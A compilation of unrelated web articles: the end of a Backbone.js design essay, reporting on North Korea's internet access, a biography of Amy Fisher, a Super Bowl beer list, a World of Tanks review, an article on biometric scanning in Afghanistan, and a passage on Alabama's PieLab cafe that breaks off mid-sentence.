very distinct advantages of using a router, it should not be our default go-to object to enable functionality. MV* frameworks, like Backbone, give us the opportunity to bridge the gap between the web and the thick clients. We need to take off our stateless-web-server glasses and realize that Backbone opens a world of different principles and patterns. We need to look to the thick-client, desktop and native-mobile-device applications for guidance in some of these areas. Not every pattern we find will apply, of course. But many of them will, and they will help us produce much longer-lasting, maintainable solutions for our interaction-heavy web pages.
-North Korea is so paranoid about its citizens accessing the internet that merely owning a computer requires permission from local government authorities, and all personal computers are registered with the police as if they were shotguns. Private ownership of fax machines is banned outright, and sending a single fax requires high-level authorization. Meanwhile, pirated DVDs of South Korean TV dramas are so illegal that North Koreans caught with them in regular police sweeps can be sentenced to years in labor camps. So you can imagine how tightly restricted internet access would be in the Hermit Kingdom.  Still, North Korea does have the internet. That small web of internet connections between North Korea and the outside world collapsed entirely on December, under an apparent mass cyber attack. While the US never claimed responsibility for the attack, President Obama had warned just days earlier of a "proportional response" to North Korea's hack against Sony. And on Tuesday, Rep. Michael McCaul, the chairman of the House Homeland Security Committee, offered what may have been the first hint of US responsibility for the attack.  For many Americans, though, the entire idea of a North Korean internet seems surprising, and for good reason. Could one of the world's poorest countries, which puts its citizens under near-total control, really have the internet? How does it work? Who can access it? And why would North Korea allow any internet access at all?  What the few North Koreans who are allowed online think the internet means  If you went to North Korea and asked people about the internet, most of them would probably have no idea what you were talking about. Most of the country is still mired in poverty, much of it rural. But in Pyongyang, the privileged capital city, and perhaps in one or two other cities, North Koreans with good office jobs or coveted university slots might assume that you were talking about Kwangmyong.  Kwangmyong, which is Korean for "bright star," is North Korea's officially sanctioned intranet. It looks sort of like the internet circa 1994; many users even access it with old-school dial-up or computer labs. It is a closed network that runs on pirated Japanese versions of Microsoft software and looks sort of like the real internet but isn't. Rather, it runs rudimentary email and browser tools that are restricted to a hand-picked collection of "sites" that have been copied over and censored from the real internet.  This network is accessible by the handful of computer labs at major North Korean government offices, universities, and a small number of cyber cafes in major cities. (Internal travel is forbidden without permission in North Korea, so most citizens never see Pyongyang or can visit its cyber cafes.) But you need a computer to access it, and that's only possible with official permission.  Outside computers are illegal (except for the very highest elite, for whom many official rules do not apply); the only acceptable computers are produced by Morning Panda, a government-run company that makes only a few thousand computers every year.  The small core of elites who can see the real internet  Then there is a group of privileged elites in North Korea who can access the real internet, which is forbidden to everyone else. The number of people in North Korea with actual internet access is estimated at a few thousand — the tiny core of the country's sprawling government — most of them top government officials.  North Korea's circle of internet users is so small that the country has only 1,024 IP addresses for 25 million people, whereas the US has billions of IP addresses for 316 million people. While it's impossible to infer a specific number of internet-connected devices from this, it is safe to say that the number is very, very small.  Many of North Korea's physical internet connections go through a single line that runs from Pyongyang through North Korea's mountainous north and into China, where it connects via China's state-run telecommunications agency Unicom to the outside world. North Korea, in other words, is largely behind China's Great Firewall.  However, North Korea also appears to have routed some internet connections through satellite-based systems: those have included the Russian satellite company SatGate and a Hong Kong–based satellite network run by China's state-owned internet provider. (There are also long-running rumors of a second, secret North Korean T1 line that patches in the most elite officials' devices at much higher speeds and that resolves as Chinese IP addresses.)  If you saw the real internet in North Korea, it would almost certainly be running on a top-of-the-line computer — or even an Apple device such as an iPad or iPhone — which are smuggled in for the use of elite officials. It would likely be quite slow; all of North Korea's devices share a very small amount of bandwidth and run through aging equipment that goes down often.  Not everyone who can access the internet in North Korea is a member of the elite. The country runs some departments that simply need access to the web to do their jobs, namely propagandists and other media specialists as well as hackers and a small number of technocratic researchers. In order to prevent these people from trying to defect when they learn how hellish their country is compared with the rest of the world — or, worse, spreading what they learn to other North Koreans — jobs that require internet access typically come with lavish salaries, high-end government housing, and lots of prestige.  Either you are granted access to the internet because you are very elite, or you are granted elite status because of your internet access, but the two always go hand in hand.  Why North Korea allows the internet  This question — why? — is perhaps even more important than who is allowed to access the real web in North Korea, because it tells you so much about how the country really works.  There are, very broadly speaking, three kinds of internet connections between North Korea and the outside world. This revealing list of reasons one might have web access speaks volumes about the country's priorities.  The first and largest is propaganda: North Korea has graduated in recent years from the text-only rants of state media to surprisingly high-touch social media campaigns, including a steady stream of YouTube videos extolling the greatness of Kim Jong Un and the evils of the American imperialist dogs. North Korea does not have "hundreds of millions" of supporters abroad, as it claims, but it does have a real and important, if small, base of supporters in South Korea and among the ethnic Korean minority in Japan. It also wants to reach its non-supporters abroad, though whether North Korea thinks its propaganda might be earnestly believed or is just hoping to further gin up international tensions with its regular threats is debatable.  The second reason North Korea wants to access the internet is hacking. The country has aggressively grown its cyberwar divisions in recent years into a few thousand highly trained hackers. It uses cyberattacks as a sort of asymmetrical warfare; North Korea knows it would lose any real battles against much-stronger South Korea and the US, but it can still cause mayhem online and has been attacking US and South Korean online institutions for years. This is meant as a deterrent of sorts: don't step on our toes or we'll hack you. (There are also reports of North Korea using the web to run various money-producing frauds to bring in hard currency to a government that badly needs it.)  But the third reason is less straightforward. North Korea's very top elite, the inner core of the inner core, access the internet because they simply don't live in the same universe as their countrymen. While most of North Korea exists in a propaganda bubble where any outside information is an existential ideological threat and truth about the world is scarce, North Korea's top elite are perfectly aware of how it all really works. They allow themselves all the comforts: movies, books, internet access, forbidden technology, forbidden luxury goods, and foods and alcohol smuggled in for their pleasure. Kim Jong Un certainly participated in this, although it's also a tool by which he maintains the loyalty of the elite.  The country's elites also do need this information — what's really happening out there, how the world really works — to run their country, even if they are only running it to keep the cruel, despotic system in place.  What it means when North Korea's internet is shut down  There have been some objections that whoever shut down North Korea's internet in December, whether it was the United States or someone else, unfairly punished an entire country just for the bad behavior of its government.  The truth, though, is that the internet in North Korea is not a public good, nor even a good the public is aware of. It is purely and solely used as a government tool, for serving such ends as propaganda and hacking, and as a luxury good for the elites who run the government.  This is not necessarily to endorse shutting down the internet there as a good thing, but just to note that like so many things in North Korea, the Kim Jong Un regime has distorted it into something that exists almost purely to cement his government's rule and to reward himself.
-Amy Elizabeth Fisher (born August 21, 1974)[2] is an American woman who became known as "the Long Island Lolita" by the media in 1992, when, at the age of 17, she shot and severely wounded Mary Jo Buttafuoco, the wife of her illicit lover, Joey Buttafuoco.[3] Initially charged with first-degree attempted murder, she eventually pled guilty to first-degree aggravated assault and served seven years in prison. Paroled in 1999, Fisher became a writer and a pornographic actress.  Early life [ edit ]  Fisher was born in Merrick, New York, on Long Island,[2] to Elliot and Roseann Fisher;[4] her father was Jewish while her mother's family, Fisher said, was "a mixture of a lot of different things, including English."[5] As a 16-year-old student at Kennedy High School in Bellmore, New York,[6] Fisher began an allegedly sexual relationship with 35-year-old Joey Buttafuoco, who denied her claim, after damaging the car her parents had given her for her 16th birthday and appealing to Buttafuoco, owner of the body shop to which she took it, to make the repairs without her family knowing of the damage.[7]  Crime and prison [ edit ]  Fisher gradually fell in love with Joey Buttafuoco and became increasingly jealous of his wife. Eventually the then 17-year-old Fisher shared with Buttafuoco her idea of murdering her. According to Fisher, Buttafuoco helped her plan the shooting and told her about his wife's habits and when she was usually home.  With the aid of Peter Guagenti, Fisher obtained a .25 caliber pistol and then went out to steal a set of license plates off a neighborhood car. On May 19, 1992, Guagenti helped Fisher put the license plates on his Pontiac Firebird and then drove her to the Buttafuoco home in Massapequa, New York. Fisher later explained to the police that she had expected Guagenti to carry out the shooting, but he refused. When Mary Jo Buttafuoco answered the door, Fisher told her that Joey Buttafuoco was having an affair with Fisher's (imaginary) younger sister, providing a T-shirt advertising Buttafuoco's auto body shop for her "proof." The conversation lasted about 15 minutes, but Buttafuoco became increasingly angry with Fisher's claims. She finally told her to leave and then turned her back to return into the house. Fisher then produced the gun, struck Buttafuoco in the head with it, and then aimed at her temple and fired. Buttafuoco fell to the ground, severely wounded. Fisher dropped the shirt and the gun and ran towards the car, but Guagenti told her to take the evidence with her, so she ran back to retrieve both items and then they both fled the scene. Neighbors called 911 and came to Buttafuoco's aid. She was operated on all night, and although unable to remove the bullet, the doctors were able to save her life.[8]  When interviewed by police, Joey Buttafuoco told them that Fisher could be the shooter. Police Detective Martin Alger obtained a photo of Fisher, and when Mary Jo Buttafuoco regained consciousness the next day, she was able to recognize Fisher from the photo. Fisher was arrested and charged with attempted murder, and on September 23, 1992, she pleaded guilty to first-degree assault.  Paul Makely tape/prostitution [ edit ]  In September 1992, the tabloid television show Hard Copy broadcast a videotaped conversation between Fisher and Paul Makely, the owner of a gym in Massapequa. In the tape, recorded hours before she agreed to the plea in court, Fisher could be seen talking about her future, saying that she wanted to get married to Makely so he could visit her in prison. Fisher explained that her lawyer believed requiring people to be married for such visits was unconstitutional, and that she intended to challenge the law on this matter. Fisher could be seen on the tape saying: "That will keep my name in the press. I want my name in the press. Why? Because I can make a lot of money. I figure if I'm going through all this pain and suffering, I'm getting a Ferrari." Prior to the Paul Makely Tape, Peter de Rosa, 29, secretly recorded Fisher in an act of prostitution with him in March 1992, Fisher was 17 at the time.[9][10][11]  Imprisonment [ edit ]  On December 2, 1992, Fisher was sentenced to 5 to 15 years in prison. She served seven years and was granted parole in May 1999 after Supreme Court Judge Ira Wexner vacated her guilty plea and shortened her sentence.[12][3]  Joey Buttafuoco denied having an affair with Fisher. In October 1992, the Nassau County District Attorney stated that Buttafuoco would not be prosecuted. However, in February 1993, the case against him was reopened due to rape charges made by Fisher. She testified against him in court and based on this testimony and hotel receipts (dated before Fisher's 17th birthday) with Buttafuoco's signature on them, Buttafuoco was charged with statutory rape. Buttafuoco pleaded guilty in October 1993. He served six months in prison.[13]  Life after prison [ edit ]  After her release from prison, Fisher became a columnist for the Long Island Press. She dictated a book about her experiences, If I Knew Then..., to Russell Wolliver, whose transcription of her dictations was published in 2004. In 2003, Fisher married Louis Bellera. The couple had three children before divorcing in 2015.[14][15]  Fisher and Buttafuoco revisited [ edit ]  In 2006, Fisher reunited with Mary Jo Buttafuoco in sessions televised for Entertainment Tonight and its spinoff, The Insider. Fisher said she wanted to heal and move on with her life. However, two years later, she said she felt "no sympathy for Mary Jo",[16] without giving an explanation. Fisher and Joey Buttafuoco eventually reunited for the first time at the 2006 Lingerie Bowl for the coin toss.  In May 2007, Fisher and Joey Buttafuoco met for dinner in Port Jefferson, Long Island, in what TV producer David Krieff said was an attempt to develop a reality-television show.[17][18] In June and July 2011 Fisher appeared as a cast member in the fifth season of the reality-television series Celebrity Rehab with Dr. Drew, which aired on VH1.[19]  Sex tape and adult entertainment career [ edit ]  Fisher in 2010  In October 2007, the New York Post published allegations that Fisher's husband, Lou Bellera, had sold a sex tape of the couple to Red Light District Video of Los Angeles.[20] Red Light District Video published a press release stating that it intended to release a sex video of the couple.[21] On October 31, nude pictures of Fisher from the video were posted at various Internet sites, and on November 1, 2007, a teaser clip was released by Red Light District Video that showed a nude Fisher showering and sunbathing. Of note were a tattoo surrounding her navel and a breast augmentation. On November 6, 2007, Fisher sued Red Light District and its owner David Joseph, claiming copyright infringement and other damages.[22] But by November 8, 2007, amyfisher.com, a website of whose ownership Fisher had previously fought to win, had begun pointing directly to the Red Light District website.[23]  In early January 2008, Fisher announced that she had settled with Red Light and agreed to do a related promotional appearance. The same announcement indicated that she and Bellera had reconciled.[13] The promotional appearance took place at Retox in New York City on January 4, 2008.[24] Clips of the video were played on The Howard Stern Show. On March 6, 2008, Fisher was a guest on the Stern show, and one topic of discussion was meant to be her video. But after the first phone call, which was from Mary Jo Buttafuoco's daughter Jessica, Fisher left the show six minutes into her interview.[25]  On January 12, 2009, Fisher released a pay-per-view adult film titled Amy Fisher: Totally Nude & Exposed.[24] Fisher signed a deal with Lee Entertainment to become a stripper doing club shows at least once a month. Fisher claimed she planned to strip till her fans told her, "Dear, please put your clothes back on. You're too old."[26][27] In September 2010, DreamZone Entertainment released the adult film Deep Inside Amy Fisher, calling it the first of eight such films Fisher would produce and in which she would star. The company had announced the movie in July 2010 under the working title The Making of Amy Fisher: Porn Star.[28] In June 2011, Fisher said she was no longer making adult films.[14]  Books and films [ edit ]  Books by Amy Fisher  Fisher, Amy & Robbie Woliver (2004). If I Knew Then. iUniverse. ISBN 0-595-32445-2.  iUniverse. ISBN 0-595-32445-2. Fisher, Amy with Sheila Weller (1994). Amy Fisher: My Story. (Reprint edition.) ISBN 0-671-86559-5. (Originally published by Pocket Books in 1993; ISBN 0-671-86558-7.)  Books about Amy Fisher  Dominguez, Pier (2001). Amy Fisher: Anatomy of a Scandal: The Myth, the Media and the Truth Behind the Long Island Lolita Story. Writers Club Press. ISBN 0-595-18417-0.  Writers Club Press. ISBN 0-595-18417-0. Eftimiades, Maria (1992). Lethal Lolita: A True Story of Sex, Scandal and Deadly Obsession. St. Martin's Press. ISBN 0-312-95062-4.  Movies about Amy Fisher  According to Alan Ball, Fisher's story was an inspiration to him in his writing the script for the 1999 film American Beauty.[29]
-We’re less than two weeks out from the Super Bowl, and now that we know it’s Denver and Seattle battling for the Lombardi Trophy, it’s time to start planning the game-time beer list. Priorities, you know.  In case you’ve been under a rock the last 12 hours—or asleep, which is understandable—the game’s making headlines: I’ve seen everything from the wink-wink “Super ‘Bowl’” to the less discrete “Pot Bowl,” “Weed Bowl” and “Bong Bowl.” Yes, both Colorado and Washington have legalized recreational marijuana. We know this. Since partaking in the substance will land you in the clink everywhere else, I’m officially hijacking this line of thinking and dubbing the upcoming event based on something else those two states are know for: hops. Let’s get ready for the Hop Bowl (I know it doesn’t make any sense, but let’s run with it).  There will be more Super Bowl drinking ideas in the weeks to come, but here’s a pretty easy one to tackle: Serve some of the best hoppy beers from each state, one brand for each category. Why? You like hops. Why else? Reasons: It’s simple, it’s easy, and—for the most part—these beers are pretty widely distributed. See, the NFL does open up avenues for cultural exploration.  Here’s my Hop Bowl lineup for 2014:  IMPERIAL IPA:  Washington  Pike Doubble Troubble IPA  Colorado  Avery Dugana IPA  AMERICAN IPA:  Washington  No-Li Born & Raised IPA  Colorado  New Belgium Ranger IPA  SPECIALTY IPA:  Washington  Elysian Avatar Jasmine IPA  brewed with jasmine  Colorado  River North Hoppenberg Uncertainty Principle  Belgian-style IPA  EXTRA/SPECIAL/BITTER (ESB):  Washington  Redhook ESB  Colorado  Odell 5 Barrel Pale Ale  ENGLISH-STYLE IPA:  Washington  Fish Organic India Pale Ale  Colorado  Left Hand 400 Pound Monkey  BARLEYWINE:  Washington  Old Schoolhouse Barley Wine Style Ale  Colorado  Great Divide Old Ruffian Barley Wine  Which state would win in this match-up?  EDIT: Ineligible player penalty rightly called by reader Chris below. Substitute Old Schoolhouse into the lineup. Continue play.
-What the blazing hell is that? I haven’t ordered chinese! Yes, you haven’t, although we dared to take the initiative and brought forward the Wot Armory Type-analysis. The hard reason is, the servers are flooded again with the WG’s favourite cash-cow. We dedicate this article for the new buyers, the old buyers, for those who love them, for those who cannot stand them, for low tiers and high tiers, in short, for everyone. Because this tank brings out emotions from all of us.  Charcharo’s review  For the Horde!  Have you ever got the feeling, that something just does not belong? A sale stunt for the biggest market on Earth became an every hour reality on all servers. I’m afraid, I cannot be helped being opinionated, but the first introduction of the Type marked not only one of the biggest financial successes of Wargaming but the darkest hour for game balance.  Forerunner of the pay to win?  The Type then stood out among other toned down premium tanks compared to fully teched same tiers. It was not only a competitive tank, the favoured matchmaking and the still existing stacking lead to numberless random games, where Tier6 and 7 tanks (regardless of their module status) found themselves against these Tier8 credit-farmers, whereas Types didn’t have to face Tier10s. The matchmaking stacking created credit-hungry hordes, ad-hoc teams, mostly impervious to frontal fire of desperate lower tiers, and with enough mobility to counter flanking attempts, to hunt down those who tried to dodge/escape them. The Type also has exceptional tactical flexibility compared to other Tier8 premiums, the Type-wolfpacks could steamroll anything in their path. Dealing with such raider parties demand cooperation, map awareness and cold blood.  Great harvest is ahead. So said the golden tank… calf I mean. Or is this reference not Confucius enough?  The big cash-making had turned out to be a PR-disaster for the WG, so the Type 59 was removed from store, for a while. But the lack of availability created – maybe by purpose, since the continuous nerfs for the credit income of normal tanks – higher demand, and the chinese T-54 knock-off has reappeared in gift shop in the first week of May, where it could be bought only via real money, not with gold accumulated for lucky CW-fellas.  In the evening of the first day, numbers of the chinese tank long time not seen invaded the servers again. The favoured matchmaking had changed – partially – since the “dark ages”. These premium tanks can find themselves in Tier10 battles, but the stacking (putting the same tanks on one side) and problem of lower tier opponents in the opposite slots remained. One might think, the current matchmaking spread and the presence of the Types are tools for some forced evolution towards the more expensive and premium-demanding higher tiers…  The hull armor  Advertisements  Share this: Twitter  Facebook  Reddit  LinkedIn  Email  Like this: Like Loading... Related
-EVEN as the dining room smouldered, soldiers moved about taking fingerprints and scanning eyes of the corpses of Taliban fighters. The ghoulish ritual followed an attack, on June 21st, on a restaurant beside Qargha Lake in Kabul. After the scans, the information was compared with a biometric database.  Gathering such data, even from the dead, is now standard practice in the Afghan war. Soldiers learn that usable scans can be harvested as late as six hours after death, depending on the heat. Investigators were confident of finding a match at Qargha Lake, and did so. Their success underlines the growth of the database and the ambition of those behind it.  Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.  In this case an unnamed suicide-bomber had been scanned two years earlier, in Logar province, because he was looking suspicious, said Lieutenant-Colonel Mohammad Anwar Muniri, who leads the Afghan programme. However, he was not detained. A list of “martyrs” released by the Taliban after the attack in Kabul confirmed he was from that province.  His details could equally have got into the database in other ways. Few of Afghanistan's 30m people have a birth certificate, a second name or can read. Yet America's army and the Afghan government have collected digital records of more than 2.5m of them. Anyone arrested or imprisoned, or who seeks to join the army or police, is scanned. So are those, such as labourers, who attempt to get into a coalition military base. Each is checked against watchlists of suspects. Last year biometric machines were also put at all border crossings. In hotly contested areas any “fighting-age males”, meaning those between 15 and 70, may be scanned compulsorily.  Some patrols call all men from a village out of their homes and line them up by a mosque to be logged. At other times buses are stopped arbitrarily and all the men are taken off and scanned.  Elsewhere such intrusions would have caused an outcry. But few Afghans, so far, have protested. American officers praise the technology as a helpful counter-insurgency tool: if opponents can be identified, they can be separated from the wider, law-abiding populace. They cite examples of its usefulness. Nearly 500 Taliban prisoners tunnelled out of Kandahar's Sarposa prison last year, but they had previously all been scanned. Within a month 30 had been recaptured because of random biometric checks.  The data are passed on beyond Afghanistan, to America's army, the FBI and the Department of Homeland Security. Agreements to share data exist with dozens of allied countries. American soldiers in Ghazni once described scanning a dead insurgent, then two days later getting a call from the CIA to say that his record matched someone first scanned in Iraq.  Yet as the system grows, so do worries about it. It is involuntary and shrouded in secrecy. It is easy to come across Afghans who claim that they were wrongly denied foreign visas or jobs after a biometric scan flagged up their presence on some watchlist. Evidence held against them is rarely divulged, nor is it clear how they can challenge it.  “There is a vetting process to be put on a watchlist,” says Sergeant-Major Robert Haemmerle, of the American army's Afghanistan biometrics programme. “It's not just a matter of ‘I don't like this guy'. There is a deliberate policy and process to ensure that people's rights are respected, that it's not abused.”  Yet those policies and processes are kept classified by NATO and America's Defence Department. Jennifer Lynch, a lawyer at the Electronic Frontier Foundation, a group based in San Francisco that keeps a watch on how digital technology encroaches on civil freedoms, also questions the quality of the data. She fears that scans done quickly in the field, or by inexperienced technicians, could lead to cases of mistaken identity.  Neither Afghan nor American officials have described their ultimate plans for the project, nor whether they want to log the whole population. Talk of a new national identity card has fallen quiet. But the more people who are scanned, the more powerful the database becomes.
-They started out small. Their first foray was Free Pie Day, during which Project M members stood on a Belfast street corner and handed out slices of pecan pie, pumpkin pie and apple pie to passers-by. The idea was to spur community and conversation, one slice at a time. Free Pie Day inspired similar efforts in Washington, Brooklyn and elsewhere. Most important, it inspired PieLab.  “WHEN I SAW THEM out front, I walked over,” Charles Johnson, a beauty-shop owner, said. “I saw the sign” — the one that spelled out LAB with stainless-steel pegs and washers — “and I asked, ‘Is this some kind of radio technology or space-center stuff?’ ”  PieLab opened in a makeshift space on a Greensboro side street in May of last year. Five of the original Project M team members in Maine had come south at the invitation of the Hale Empowerment and Revitalization Organization (HERO), a housing-advocacy nonprofit, which also sponsored community-minded local initiatives. The Project M team conceived of their pie shop as a pop-up — a temporary cafe — describing it as a “negative-energy inverter, fueled by pie.”  The term “pop-up” implies that a concept may be too cutting-edge to sustain. And so it was with PieLab. No one expected this pop-up to last, least of all the designers who transformed the original space in a breakneck three-week stretch and managed it with gusto for the rest of the spring and summer.  But that first day at the PieLab was a success. There was music, courtesy of a customer with an acoustic guitar. The crowd was diverse. Ideas were exchanged. Intergenerational friendships were forged. The take, at two bucks per apple-pie slice, was something like $400.  PieLab had visual style. And PieLab had a formula, a back-of-the-bar-napkin equation, sketched in Maine and refined on the ground in Greensboro:  PieLab = a neutral place + a slice of pie.  A neutral place + a slice of pie = conversation.  Conversation = ideas + design.  Ideas + design = positive change.  Yet for all its ambition, PieLab never had a business plan or a firm grasp on what sort of change was sought. This was intentional. Bielenberg wasn’t much interested in long-term goals; he believed in setting something in motion and letting the momentum guide the effort.  Advertisement Continue reading the main story  The plan was simply to open PieLab’s doors, begin conversations with the people of Greensboro and encourage them to create progressive inititatives of their own. “We had an idea,” said Brian W. Jones, a collaborator from Virginia. “That was it. We opened without a business license or the complete approval of the health inspector.”  PieLab’s logo — two crimp-crusted pie slices, positioned tip to tip to form a double beaker, an hourglass or some other old-school scientific apparatus — said it all. Here food wasn’t just fuel. And design wasn’t merely a way to arrange your living room furniture. Design, when applied to food, could be a catalytic force for good, even if the good wasn’t specified.  PieLab operated out of temporary quarters for four months. HERO, under the direction of Pam Dorr, served as host and landlord. Six years earlier, Dorr left a job as a production manager for the Gap in California to join the social-service efforts in Hale County. Dorr collaborated with Project M on earlier projects, finding practical applications for their ideas. To support PieLab, she secured government grants, helped build ties in the community and served as a hands-off adviser.  That first PieLab space, in a tin-roofed clapboard home behind the HERO offices, was spare and studied, with glossy white walls, high ceilings and open shelving. A hand-cranked cash register sat on the front counter, alongside a silverware tray and a decommissioned library card catalog. Inscribed with the names and check-out histories of old books, the cards served as sketch pads and, on occasion, order pads for $3 slice-and-coffee combos.  The earnestness was palpable. The Project M crew baked pie and brewed coffee. They crimped crusts with forks and piled on pears and pecans gathered and delivered by neighbors. They designed Web sites for the Hale County Humane Society and created logos for the nearby city of Northport.  For the socially engaged members of Project M, PieLab was a clubhouse. For small-town characters, it was a magnet. College students from Sewanee, Tenn., ate through all the pecan pie one afternoon. A film director just back from Thailand came in for coffee and talked about his next project, a Big Foot horror movie.  Over time, the Project M folk befriended Scott Hamilton, an aspiring artist. They designed a Web site on which he posted his paintings of cities of the future, shaped like skyscraping minarets. When Charles Johnson, a regular, was in a good mood, he performed on the pine floors, moving to a line-dance routine called the Cupid Shuffle.  Within a few months of opening, following a spate of positive design-industry press, PieLab-inspired efforts popped up in cities like Portland, Ore. In Greenville, Ala., southwest of Montgomery, Nancy Rhodes recently opened Polka Dots Café, cater-corner from the town’s Confederate memorial. She serves kolaches, a Czech pastry popular in Texas. Inspired by PieLab, she plans to operate a “neutral space,” where people of all races and classes can gather.  Advertisement Continue reading the main story  “THAT FIRST SPACE was really grass roots,” Megan Deal recalled. “It was so easy to build, so easy to run. There was an honesty about it, a purity. It was all about pie and conversation. All about what we intended. It worked.”  More significant, it seemed to work in the Black Belt, a region that a New York Times writer, in the days before the cotton economy went bust, described as a “garden of slavery.” Poverty rates may register higher in other counties in the region, and racial disparities have proved wider, but Hale County has long been the Black Belt’s front porch. Hale was where James Agee and Walker Evans drew their famed portrait of Depression-era tenant farmer life, “Let Us Now Praise Famous Men,” a book that has served as a primary text for students of rural America in the decades since. And Hale was where Samuel Mockbee and D. K. Ruth established the Rural Studio, a design-and-build program for Auburn University architecture students, focused on creating high-concept, low-cost homes for indigent residents. Don’t be “house pets to the rich,” Mockbee told his charges, sounding a clarion that inspired, among others, John Bielenberg.  All this attention to social ills did not come without social costs. Almost 75 years have passed since Agee and Evans traveled the county to document the lives of poor white folk, but their work still has the power to inflame residents. If outsiders see Evans’s photos and Agee’s text as a candid examination of an ailing region, insiders often see the book as the product of crusading interlopers, the sort of people who parachute into the region today with little understanding of local concerns.  Amanda Buck is not the only Project M collaborator who has walked into the Hale County Library on Main Street to check out “Let Us Now Praise Famous Men” and learned that lesson. “Everybody who comes down here wants to read that book,” Buck recalled a librarian saying as she handed her a copy. “You know this doesn’t paint the whole picture. There are other perspectives.”  BUCK, A NATIVE OF Brunswick, Ohio, who was a member of the original 2009 Project M program and later traveled south to work at PieLab, showed up thinking that she was to be a “change agent.” But when she talked about change, many Hale County residents heard condemnation. No matter, she thought. “What are we doing here if we’re not working for change?”  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  In the Black Belt, Project M collaborators could afford to be idealists. They worked hard, but their lives unspooled like summer-camp deferments. “On weekends we swam in the river,” Brian Jones recalled. “We wandered down Main Street at sunset and admired the way the light bounced off the buildings.”  They ate lunches of fried whiting and fried okra at Flava, a soul-food cafe set in a brick compound one block off Main Street. And they listened as Eugene Lyles, who built the restaurant in the 1960s, told them that, back when the black-power movement was ascendant, he was an idealist, too. Weekday afternoons, they walked the town, past shuttered storefronts. At night, they sometimes played four-square games on Main Street, sidestepping pulpwood trucks as they downshifted from the highway. They measured success in modest exchanges. Buck and Robin Mooty, another early PieLab worker, designed and painted a new sign for Charles Johnson’s salon. In return, Johnson took Buck and Deal golfing.  PieLab efforts played well to the news media. Here was hope, and apple pie, and a seemingly robust new economic engine in the Black Belt, a seemingly hopeless American place. And here was an effort that aligned nicely with the national trend toward food activism. “PieLab provides a neutral environment in a traditionally segregated town where people from every race and class are welcome to sit together and talk candidly about whatever is on their mind,” Brian Jones told Fast Company magazine.  PieLab, along with projects like Mission Pie in San Francisco (which employs at-risk youth and uses local ingredients for its pies), is part of an American movement to deploy food-focused initiatives, including restaurant operation and artisanal food production, to foster social change. The culinary establishment embraced PieLab. The magazine Southern Living, the prevailing arbiter of middle-class regional taste, dubbed its apple pie one of the South’s best. The James Beard Foundation named the Main Street PieLab space one of three 2010 finalists for its restaurant design award.  Advertisement Continue reading the main story  All the attention buoyed the PieLab collaborators. But it also created problems. When Project M first arrived in Greensboro, some folk bristled at the language it employed. The conflicts began with the 2007 Buy-a-Meter project. To get the initiative under way, Project M used stark black-and-white photos (and starker messages) to draw attention to area families who lacked access to the municipal water supply. The pamphlet campaign raised about $50,000. HERO, working in conjunction with Project M, used this money to purchase and install more than 100 water meters. Beyond Alabama, Buy-a-Meter was celebrated as a financial and critical success. But back home, the slogan — “In Hale County, Alabama, Water Is Not a Right,” splayed across a gatefold photograph of Greensboro’s Main Street — did not always play so well. Tensions increased when a group of designers proposed a National Design Center for Rural Poverty Programs in Greensboro. To make clear the need, they described Hale County as a place where an “impoverished population suffers from substandard housing, education, health care and job opportunities.”  In Greensboro, such sweeping generalizations, no matter their accuracy, stung. “What does some guy in Maine know about my life in Alabama?” asked Ann Langford, chief clerk of the Hale County Probate Court and onetime Rural Studio administrator. “Who gave him the right to speak for us?”  By that point, a number of new voices were speaking for the Black Belt. At least seven windmill-tilting organizations were doing good works in Hale County, including Project Horseshoe Farm, a residential mental-health facility. Those programs brought youthful energy to Greensboro. They also brought trouble.  “You have the same town-and-gown tensions here that you would find in a small Massachusetts college town,” said Winnie Cobbs, a retired college professor who operates a local bed-and-breakfast. As she talked, two young women, wearing jogging bras and college mascot tank tops, race-walked through downtown. Inside PieLab, a Horseshoe Farm fellow hunched over her laptop, filling out medical-school application forms.  “It’s universal,” Cobbs said. “You hear the same talk about the loose morals of young kids. And you hear the same suspicion of the motives of outsiders.”  “I WAS NAÏVE,” BUCK SAID. “I knew nothing about baking pies and running a business.”  As Buck talked, she squirmed in her chair in what was the original pop-up PieLab space and is now used by AmeriCorps Vista volunteers who run BikeLab, a bicycle-repair and reclamation project also initiated by Project M and HERO. “We came with preconceived notions about what we would find in Alabama,” she said.  In October 2009, as the PieLab crew worked to refurbish their new brick-fronted space on Main Street — the one with polished wood floors and a balloon-whisk bathroom light fixture — tensions reached a pitch in what came to be known as the “cake thing” or the “poster incident.”  Designed by a couple of the PieLab workers, the poster was printed in an array of colors, the most arresting of which was bright red. Rendered in a bold, black font and capped by an exclamation point, were the words: “Eat pie.” Stacked beneath, in far smaller type, was a command that began with a sexually explicit four-letter word and ended with the word “cake.”  Advertisement Continue reading the main story  To the PieLab crew, the poster was an over-the-top exercise in sloganeering. To members of the Greensboro community, who followed the workings of PieLab on various Web sites, the document was a totem of the group’s cultural insensitivities.  “The humor might have played well in Brooklyn,” Buck said, taking pains to explain that the posters were never intended for local distribution. “But here it wasn’t funny at all.”  Posters quickly found their way into the hands of city and county powerbrokers. Things came to a head during a heated conversation in the street, which Pam Dorr, of HERO, playfully described as a “near riot.”  “I understand what they intended,” Winnie Cobbs said. “It was playful and frivolous. I got the Marie Antoinette reference. It takes us back to the time of the French Revolution. But you have to pick your place to use that word. And posters, plastered around this town, would not have been that place.”  Ann Langford still keeps a rolled copy beneath her desk at the courthouse. “I can’t take a poster with that word on it home,” she said. Langford understands youthful indiscretion. Yet she still gets agitated when she talks about the incident.  “So is that the best that you can come up with after going off to college?” she asked a group of PieLab workers who came to apologize. “Is that what your parents sent you to school to learn? I thought y’all were supposed to set examples.”  THREE MONTHS HAVE now passed since “the takeover.” That’s the term that Pam Dorr uses to describe the process by which she jettisoned the design side of the PieLab equation. Her technique was simple: Rather than renew some of the governmental programs under which the original crew was employed, Dorr allowed certain sources of financing to lapse. One by one, the founders departed.  Under Dorr’s leadership, PieLab may still realize some of the transformative goals imagined by the original crew. Early in the process, PieLab began working with YouthBuild, a job-training-and-remedial-education program, affiliated with the U.S. Department of Labor. At first, 20-somethings from programs like that were ancillary to the PieLab effort. Now job training appears to be primary. Some of the changes have been more pragmatic. PieLab no longer opens at 9 in the morning, as it did when the Project M crew ran the show. Gone are the stacks of take-one, leave-one 